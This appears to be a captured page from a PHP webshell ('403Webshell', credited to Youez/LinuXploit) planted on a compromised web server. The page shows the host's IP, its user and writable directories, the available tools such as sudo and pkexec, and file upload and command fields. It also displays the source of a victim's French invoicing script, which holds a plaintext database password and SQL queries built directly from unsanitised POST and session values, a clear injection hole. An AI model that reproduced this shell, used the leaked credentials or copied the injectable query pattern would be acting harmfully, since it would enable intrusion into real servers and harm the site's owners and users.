403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.231
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/factures/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/factures/public_html/Ajout_article1.php
<?php
session_start();
if (!isset($_SESSION['compte_user']))
{
header('Location: erreur_surfing.html');
exit();
}
$link = mysqli_connect("localhost",  "advery", "EoM6IJlnirGIfcu","factures") or die("Impossible de se connecter : " . mysqli_error());
$b = date('H:i');
$c = date('d-m-Y');
$dt = $c . ' [ '. $b . ' ]';
$rep = $_POST['desc'];
$rep = str_replace("\n", '<br>', $rep);
$rep = addslashes($rep);
$rep1 = $_POST['libelle'];
$rep1 = addslashes($rep1);
$reponse = "INSERT INTO article_service VALUES(id_art_serv,'$rep1' , '$rep' , $_POST[prixht] ,$_POST[tva] , $_POST[qte_stock] ,'Article',$_POST[prix_ac_ht]);";
mysqli_query($link,$reponse);
$retour =mysqli_query($link,'SELECT MAX(id_art_serv) AS nbMax FROM article_service');
$valeur = mysqli_fetch_assoc($retour);
$a = $valeur['nbMax'];
//Insertion article -> facture fournisseur
$reponse = "INSERT INTO detail_fac_fournisseur VALUES(id_detail ,'$_SESSION[r_facture]' , $a ,$_POST[qte_stock] , $_POST[remise], $_POST[prixht]);";
mysqli_query($link,$reponse);
$reponse = "select * from comptes_user where id_clt = $_SESSION[compte_user] ;";
$exec =mysqli_query($link,$reponse);
$row = mysqli_fetch_assoc($exec);
$a = $row['nom'].' vient de creer un nouveau article : '.$_POST['libelle'];
$reponse = "INSERT INTO notification VALUES(id_notif ,'dripicons-user-group','$a' ,'$dt', 'ADMIN');";
mysqli_query($link,$reponse);
mysql_close($link);
header('Location: Detail-Facture-Fournisseur.php');
exit();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit